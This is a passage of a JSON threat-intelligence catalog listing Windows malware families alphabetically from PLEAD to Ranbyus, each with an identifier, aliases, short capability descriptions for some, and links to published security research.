        "synonyms": [],
        "type": []
      },
      "uuid": "5e1f467b-f81e-487c-a911-ab63ae7e9b86",
      "value": "playwork"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.plead",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/",
          "https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html",
          "http://www.freebuf.com/column/159865.html",
          "https://blogs.jpcert.or.jp/en/2018/11/tscookie2.html",
          "http://blog.jpcert.or.jp/2018/03/malware-tscooki-7aa0.html",
          "https://www.welivesecurity.com/2018/07/09/certificates-stolen-taiwanese-tech-companies-plead-malware-campaign/",
          "https://documents.trendmicro.com/assets/appendix-following-the-trail-of-blacktechs-cyber-espionage-campaigns.pdf"
        ],
        "synonyms": [
          "TSCookie"
        ],
        "type": []
      },
      "uuid": "43a56ed7-8092-4b36-998c-349b02b3bd0d",
      "value": "PLEAD"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.plexor",
          "https://www.symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7",
          "https://securelist.com/blog/research/77990/unraveling-the-lamberts-toolkit/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "5c860744-bb12-4587-a852-ee060fd4dd64",
      "value": "Plexor"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ploutus_atm",
          "https://www.fireeye.com/blog/threat-research/2017/01/new_ploutus_variant.html",
          "http://antonioparata.blogspot.co.uk/2018/02/analyzing-nasty-net-protection-of.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d91c4184-608e-47b1-b746-0e98587e2455",
      "value": "Ploutus ATM"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ployx",
          "https://contagiodump.blogspot.com/2012/12/end-of-year-presents-continue.html",
          "https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~Ployx-A/detailed-analysis.aspx"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "7bad2f44-93b0-406d-a619-28f14c4bd344",
      "value": "ployx"
    },
    {
      "description": "RSA describes PlugX as a RAT (Remote Access Trojan) malware family that is around since 2008 and is used as a backdoor to control the victim's machine fully. Once the device is infected, an attacker can remotely execute several kinds of commands on the affected system.\r\n\r\nNotable features of this malware family are the ability to execute commands on the affected machine to retrieve:\r\nmachine information\r\ncapture the screen\r\nsend keyboard and mouse events\r\nkeylogging\r\nreboot the system\r\nmanage processes (create, kill and enumerate)\r\nmanage services (create, start, stop, etc.); and\r\nmanage Windows registry entries, open a shell, etc.\r\n\r\nThe malware also logs its events in a text log file.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.plugx",
          "https://threatrecon.nshc.net/2019/03/19/sectorm04-targeting-singapore-custom-malware-analysis/",
          "http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html",
          "http://blog.jpcert.or.jp/.s/2017/04/redleaves---malware-based-on-open-source-rat.html",
          "https://countuponsecurity.com/2018/02/04/malware-analysis-plugx/",
          "https://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf",
          "https://www.rsa.com/content/dam/pdfs/2-2017/kingslayer-a-supply-chain-attack.pdf",
          "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf",
          "http://blog.airbuscybersecurity.com/post/2014/01/plugx-some-uncovered-points.html",
          "https://community.rsa.com/thread/185439",
          "https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/",
          "https://www.lac.co.jp/lacwatch/people/20171218_001445.html",
          "https://countuponsecurity.com/2018/05/09/malware-analysis-plugx-part-2/",
          "https://securelist.com/time-of-death-connected-medicine/84315/",
          "https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf",
          "https://blog.malwarebytes.com/threat-analysis/2016/08/unpacking-the-spyware-disguised-as-antivirus/",
          "http://blog.jpcert.or.jp/2017/02/plugx-poison-iv-919a.html",
          "https://www.sophos.com/en-us/medialibrary/pdfs/technical%20papers/plugx-thenextgeneration.pdf"
        ],
        "synonyms": [
          "Korplug"
        ],
        "type": []
      },
      "uuid": "036bd099-fe80-46c2-9c4c-e5c6df8dcdee",
      "value": "PlugX"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.pngdowner",
          "https://www.iocbucket.com/iocs/7f7999ab7f223409ea9ea10cff82b064ce2a1a31"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "fb4313ea-1fb6-4766-8b5c-b41fd347e4c5",
      "value": "pngdowner"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.poison_ivy",
          "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/analysing-a-recent-poison-ivy-sample/",
          "https://researchcenter.paloaltonetworks.com/2016/04/unit42-new-poison-ivy-rat-variant-targets-hong-kong-pro-democracy-activists/",
          "http://blog.fortinet.com/2017/08/23/deep-analysis-of-new-poison-ivy-variant",
          "https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html",
          "https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html",
          "https://blog.fortinet.com/2017/09/15/deep-analysis-of-new-poison-ivy-plugx-variant-part-ii",
          "https://researchcenter.paloaltonetworks.com/2014/09/recent-watering-hole-attacks-attributed-apt-group-th3bug-using-poison-ivy/",
          "http://blogs.360.cn/post/APT_C_01_en.html",
          "https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2016/2016.04.26.New_Poison_Ivy_Activity_Targeting_Myanmar_Asian_Countries/New%20Poison%20Ivy%20Activity%20Targeting%20Myanmar%2C%20Asian%20Countries.pdf",
          "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/"
        ],
        "synonyms": [
          "pivy",
          "poisonivy"
        ],
        "type": []
      },
      "uuid": "7789fc1b-3cbc-4a1c-8ef0-8b06760f93e7",
      "value": "Poison Ivy"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.polyglot_ransom",
          "https://securelist.com/blog/research/76182/polyglot-the-fake-ctb-locker/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "5ee77368-5e09-4016-ae73-82b99e830832",
      "value": "Polyglot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.pony",
          "https://www.mcafee.com/us/resources/reports/rp-quarterly-threats-jun-2017.pdf",
          "https://www.uperesia.com/analysis-of-a-packed-pony-downloader",
          "https://github.com/nyx0/Pony"
        ],
        "synonyms": [
          "Fareit",
          "Siplog"
        ],
        "type": []
      },
      "uuid": "cd201689-4bf1-4c5b-ac4d-21c4dcc39e7d",
      "value": "Pony"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.poohmilk",
          "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/",
          "http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "54327cbd-d30c-4684-9a66-18ae36b28399",
      "value": "PoohMilk Loader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.popcorn_time",
          "https://twitter.com/malwrhunterteam/status/806595092177965058"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "4ceebc38-f50b-4817-930f-c954d203ff7b",
      "value": "Popcorn Time"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.portless",
          "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134508/winnti-more-than-just-a-game-130410.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b813cb80-28ff-4713-abdc-e9a22d397bb4",
      "value": "portless"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.poscardstealer",
          "http://pages.arbornetworks.com/rs/arbor/images/ASERT%20Threat%20Intelligence%20Brief%202014-06%20Uncovering%20PoS%20Malware%20and%20Attack%20Campaigns.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "5fa166d1-128b-4057-87e3-6676b7d9a7d7",
      "value": "poscardstealer"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.poshc2",
          "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0215eae2-0ab7-4567-8ac6-1be36a7893a6",
      "value": "PoshC2"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.poweliks_dropper",
          "https://www.zscaler.com/blogs/research/malvertising-targeting-european-transit-users"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "782bee33-9f8d-41df-a608-c014bd6a7de1",
      "value": "Poweliks Dropper"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.powerduke",
          "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c79f5876-e3b9-417a-8eaf-8f1b01a0fecd",
      "value": "PowerDuke"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.powerkatz",
          "https://blog.yoroi.company/research/the-arsenal-behind-the-australian-parliament-hack/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "9e3aaf82-268b-47d1-b953-3799c5e1f475",
      "value": "powerkatz"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.powerpool",
          "https://www.welivesecurity.com/2018/09/05/powerpool-malware-exploits-zero-day-vulnerability/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "02e5196e-f7ac-490a-9a92-d4865740016b",
      "value": "PowerPool"
    },
    {
      "description": "A malware of the gozi group, developed on the base of isfb. It uses Office Macros and PowerShell in documents distributed in e-mail messages.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.powersniff",
          "https://lokalhost.pl/gozi_tree.txt",
          "https://www.thesecuritybuddy.com/malware-prevention/what-is-powersniff-malware/",
          "https://unit42.paloaltonetworks.com/powersniff-malware-used-in-macro-based-attacks/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "519d07f5-bea3-4360-8aa5-f9fcdb79cb52",
      "value": "Powersniff"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.power_ratankba",
          "https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/",
          "https://www.flashpoint-intel.com/blog/disclosure-chilean-redbanc-intrusion-lazarus-ties/",
          "https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "606f778a-8b99-4880-8da8-b923651d627b",
      "value": "PowerRatankba"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.prb_backdoor",
          "https://sec0wn.blogspot.com/2018/05/prb-backdoor-fully-loaded-powershell.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2c9c42bc-8f26-4122-9454-a7eed8cd8886",
      "value": "prb_backdoor"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.predator",
          "https://securelist.com/a-predatory-tale/89779",
          "https://fumik0.com/2018/10/15/predator-the-thief-in-depth-analysis-v2-3-5/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "54041c03-5714-4247-9226-3c801f59bc07",
      "value": "Predator The Thief"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.prikormka",
          "https://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "00764634-4a21-4c5c-8b1f-fb294c9bdd3f",
      "value": "Prikorma"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.prilex",
          "https://www.kaspersky.com/blog/chip-n-pin-cloning/21502",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/dissecting-prilex-cutlet-maker-atm-malware-families/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "a0899fec-161d-4ba8-9594-8b5620c21705",
      "value": "Prilex"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.princess_locker",
          "https://www.bleepingcomputer.com/news/security/introducing-her-royal-highness-the-princess-locker-ransomware/",
          "https://blog.malwarebytes.com/threat-analysis/2016/11/princess-ransomware/",
          "https://hshrzd.wordpress.com/2016/11/17/princess-locker-decryptor/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0714a7ad-45cb-44ec-92f9-2e839fd8a6b8",
      "value": "PrincessLocker"
    },
    {
      "description": "According to Matthew Mesa, this is a modular bot. The name stems from the string PsiXMainModule in binaries until mid of September 2018.\r\n\r\nIn binaries, apart from BotModule and MainModule, references to the following Modules have be observed:\r\nBrowserModule\r\nBTCModule\r\nComplexModule\r\nKeyLoggerModule\r\nOutlookModule\r\nProcessModule\r\nRansomwareModule\r\nSkypeModule",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.psix",
          "https://blog.fox-it.com/2019/03/27/psixbot-the-evolution-of-a-modular-net-bot/",
          "https://twitter.com/mesa_matt/status/1035211747957923840"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "416ae41e-17b2-46f6-847b-2831a0b3f8e9",
      "value": "PsiX"
    },
    {
      "description": "Citizenlab notes that PC Surveillance System (PSS) is a commercial spyware product offered by Cyberbit and marketed to intelligence and law enforcement agencies.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.pss",
          "https://citizenlab.ca/2017/12/champing-cyberbit-ethiopian-dissidents-targeted-commercial-spyware/"
        ],
        "synonyms": [
          "PSS"
        ],
        "type": []
      },
      "uuid": "e437f01c-8040-4098-a3fa-20154b58c928",
      "value": "PC Surveillance System"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.pteranodon",
          "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/",
          "https://www.vkremez.com/2019/01/lets-learn-deeper-dive-into-gamaredon.html",
          "https://cert.gov.ua/news/42",
          "https://blog.threatstop.com/russian-apt-gamaredon-group",
          "https://cert.gov.ua/news/46"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d5138738-846e-4466-830c-cd2bb6ad09cf",
      "value": "Pteranodon"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.pubnubrat",
          "http://blog.alyac.co.kr/1853",
          "https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "bcc8e3ef-fc5e-4d44-9011-4d429bac0f26",
      "value": "PubNubRAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.punkey_pos",
          "https://www.trustwave.com/Resources/SpiderLabs-Blog/New-POS-Malware-Emerges---Punkey/",
          "https://www.pandasecurity.com/mediacenter/malware/punkeypos/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "57a6dbce-2d8a-44ae-a561-282d02935698",
      "value": "Punkey POS"
    },
    {
      "description": "Pupy is an open-source, cross-platform RAT and post-exploitation framework mainly written in python. Pupy can be loaded from various loaders, including PE EXE, reflective DLL, Linux ELF, pure python, powershell and APK. Most of the loaders bundle an embedded python runtime, python library modules in source/compiled/native forms as well as a flexible configuration. They bootstrap a python runtime environment mostly in-memory for the later stages of pupy to run in. Pupy can communicate using various transports, migrate into processes, load remote python code, python packages and python C-extensions from memory.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.pupy",
          "https://blog.cyber4sight.com/2017/02/malicious-powershell-script-analysis-indicates-shamoon-actors-used-pupy-rat/",
          "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html",
          "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
          "https://github.com/n1nj4sec/pupy",
          "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations",
          "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "8a789016-5f8d-4cd9-ba96-ba253db42fd8",
      "value": "pupy (Windows)"
    },
    {
      "description": "Pushdo is usually classified as a \"downloader\" trojan - meaning its true purpose is to download and install additional malicious software. There are dozens of downloader trojan families out there, but Pushdo is actually more sophisticated than most, but that sophistication lies in the Pushdo control server rather than the trojan.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.pushdo",
          "https://www.blueliv.com/research/tracking-the-footproints-of-pushdo-trojan/",
          "https://www.trendmicro.de/cloud-content/us/pdfs/business/white-papers/wp_study-of-pushdo-cutwail-botnet.pdf",
          "https://www.secureworks.com/research/pushdo",
          "http://malware-traffic-analysis.net/2017/04/03/index2.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b39ffc73-db5f-4a8a-acd2-bee958d69155",
      "value": "Pushdo"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.putabmow"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b0cb81bc-5d97-454a-8eee-4e81328c7228",
      "value": "Putabmow"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.pvzout",
          "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "52932caa-2fac-4eeb-88de-b3e143db010e",
      "value": "PvzOut"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.pwnpos",
          "https://twitter.com/physicaldrive0/status/573109512145649664",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/pwnpos-old-undetected-pos-malware-still-causing-havoc/",
          "https://www.brimorlabsblog.com/2015/03/and-you-get-pos-malware-nameand-you-get.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c903627c-90f6-44ee-9750-4bb44bdbceab",
      "value": "pwnpos"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.pykspa",
          "https://www.johannesbader.ch/2015/07/pykspas-inferior-dga-version/",
          "https://www.johannesbader.ch/2015/03/the-dga-of-pykspa/",
          "https://www.youtube.com/watch?v=HfSQlC76_s4"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3f0e7db1-5944-4137-89d1-d36940f596d2",
      "value": "Pykspa"
    },
    {
      "description": "PyLocky is a ransomware that tries to pass off as Locky in its ransom note.  It is written in Python and packaged with PyInstaller.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.pylocky",
          "https://www.cert.ssi.gouv.fr/alerte/CERTFR-2018-ALE-008/",
          "https://sensorstechforum.com/lockymap-files-virus-pylocky-ransomware-remove-restore-data/",
          "https://blog.talosintelligence.com/2019/01/pylocky-unlocked-cisco-talos-releases.html",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/a-closer-look-at-the-locky-poser-pylocky-ransomware/"
        ],
        "synonyms": [
          "Locky Locker"
        ],
        "type": []
      },
      "uuid": "3a5775d3-7d4a-4795-b1b1-7a340030d490",
      "value": "PyLocky"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.qaccel"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f4980a75-f72c-4925-8ff5-118b32dd5eaa",
      "value": "Qaccel"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.qadars",
          "https://securityintelligence.com/meanwhile-britain-qadars-v3-hardens-evasion-targets-18-uk-banks/",
          "https://pages.phishlabs.com/rs/130-BFB-942/images/Qadars%20-%20Final.pdf",
          "https://securityintelligence.com/an-analysis-of-the-qadars-trojan/",
          "https://info.phishlabs.com/blog/dissecting-the-qadars-banking-trojan",
          "https://www.johannesbader.ch/2016/04/the-dga-of-qadars/",
          "https://www.welivesecurity.com/2013/12/18/qadars-a-banking-trojan-with-the-netherlands-in-its-sights/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "080b2071-2d69-4b76-962e-3d0142074bcb",
      "value": "Qadars"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.qakbot",
          "https://www.johannesbader.ch/2016/02/the-dga-of-qakbot/",
          "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_qakbot_in_detail.pdf",
          "https://securityintelligence.com/qakbot-banking-trojan-causes-massive-active-directory-lockouts/",
          "http://contagiodump.blogspot.com/2010/11/template.html",
          "https://www.varonis.com/blog/varonis-discovers-global-cyber-campaign-qbot/",
          "https://media.scmagazine.com/documents/225/bae_qbot_report_56053.pdf",
          "https://www.cylance.com/en_us/blog/threat-spotlight-the-return-of-qakbot-malware.html",
          "https://www.virusbulletin.com/uploads/pdf/magazine/2016/VB2016-Karve-etal.pdf",
          "https://www.vkremez.com/2018/07/lets-learn-in-depth-reversing-of-qakbot.html"
        ],
        "synonyms": [
          "Pinkslipbot",
          "Qbot"
        ],
        "type": []
      },
      "uuid": "2ccaccd0-8362-4224-8497-2012e7cc7549",
      "value": "QakBot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.qhost"
        ],
        "synonyms": [
          "Tolouge"
        ],
        "type": []
      },
      "uuid": "28f35535-dd40-4ee2-8064-5acbe76d8d4c",
      "value": "QHost"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.qtbot",
          "https://researchcenter.paloaltonetworks.com/2017/11/unit42-everybody-gets-one-qtbot-used-distribute-trickbot-locky/"
        ],
        "synonyms": [
          "qtproject"
        ],
        "type": []
      },
      "uuid": "e8240391-3e3d-4894-ba80-f8e8de8a8222",
      "value": "QtBot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.quant_loader",
          "https://malwarebreakdown.com/2017/10/10/malvertising-campaign-uses-rig-ek-to-drop-quant-loader-which-downloads-formbook/",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/necurs-evolves-to-evade-spam-detection-via-internet-shortcut-file/",
          "https://blogs.forcepoint.com/security-labs/locky-distributor-uses-newly-released-quant-loader-sold-russian-underground",
          "https://www.proofpoint.com/us/threat-insight/post/leaked-source-code-ammyy-admin-turned-flawedammyy-rat",
          "https://blog.malwarebytes.com/threat-analysis/2018/03/an-in-depth-malware-analysis-of-quantloader/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e6005ce5-3e3d-4dfb-8de7-3da45e89e549",
      "value": "Quant Loader"
    },
    {
      "description": "Quasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.quasar_rat",
          "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/",
          "https://www.fireeye.com/blog/threat-research/2019/04/spear-phishing-campaign-targets-ukraine-government.html",
          "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/",
          "https://github.com/quasar/QuasarRAT/tree/master/Client",
          "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/",
          "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf",
          "http://researchcenter.paloaltonetworks.com/2017/01/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments",
          "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf?platform=hootsuite",
          "https://ti.360.net/blog/articles/analysis-of-apt-c-09-target-china/",
          "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
          "https://twitter.com/malwrhunterteam/status/789153556255342596",
          "https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "05252643-093b-4070-b62f-d5836683a9fa",
      "value": "Quasar RAT"
    },
    {
      "description": "Qulab is an AutoIT Malware focusing on stealing & clipping content from victim's machines.\r\n",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.qulab",
          "https://fumik0.com/2019/03/25/lets-play-with-qulab-an-exotic-malware-developed-in-autoit/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "728ce877-6f1d-4719-81df-387a8e395695",
      "value": "Qulab"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.r980",
          "https://otx.alienvault.com/pulse/57976b52b900fe01376feb01/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "06f63e6b-d177-4e21-b432-e3a219bc0965",
      "value": "r980"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.radamant",
          "https://www.cyphort.com/radamant-ransomware-distributed-via-rig-ek/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "98bcb2b9-bc3a-4ffb-859a-94bd03c1cc3c",
      "value": "Radamant"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.radrat",
          "https://labs.bitdefender.com/2018/04/radrat-an-all-in-one-toolkit-for-complex-espionage-ops/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "271752e3-67ca-48bc-ade2-30eec11defca",
      "value": "RadRAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rakhni",
          "https://securelist.com/to-crypt-or-to-mine-that-is-the-question/86307/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "cf6887d9-3d68-4f89-9d61-e97dcc4d8c20",
      "value": "Rakhni"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.rambo",
          "https://securitykitten.github.io/2017/02/15/the-rambo-backdoor.html"
        ],
        "synonyms": [
          "brebsd"
        ],
        "type": []
      },
      "uuid": "805b99d1-233d-4f7f-b343-440e5d507494",
      "value": "Rambo"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramdo"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "51f53823-d289-4176-af45-3fca7eda824b",
      "value": "Ramdo"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramnit",
          "https://malwarebreakdown.com/2017/08/23/the-seamless-campaign-isnt-losing-any-steam/",
          "http://www.nao-sec.org/2018/01/analyzing-ramnit-used-in-seamless.html",
          "http://contagiodump.blogspot.com/2012/01/blackhole-ramnit-samples-and-analysis.html",
          "https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/",
          "https://research.checkpoint.com/ramnits-network-proxy-servers/",
          "http://www.vkremez.com/2018/02/deeper-dive-into-ramnit-banker-vnc-ifsb.html",
          "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/w32-ramnit-analysis-15-en.pdf"
        ],
        "synonyms": [
          "Nimnul"
        ],
        "type": []
      },
      "uuid": "542161c0-47a4-4297-baca-5ed98386d228",
      "value": "Ramnit"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ranbyus",
          "https://www.welivesecurity.com/2012/12/19/win32spy-ranbyus-modifying-java-code-in-rbs/",
          "https://www.welivesecurity.com/2012/06/05/smartcard-vulnerabilities-in-modern-banking-malware/",
          "http://www.xylibox.com/2013/01/trojanwin32spyranbyus.html",
          "https://www.johannesbader.ch/2015/05/the-dga-of-ranbyus/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "5d9a27e7-3110-470a-ac0d-2bf00cac7846",
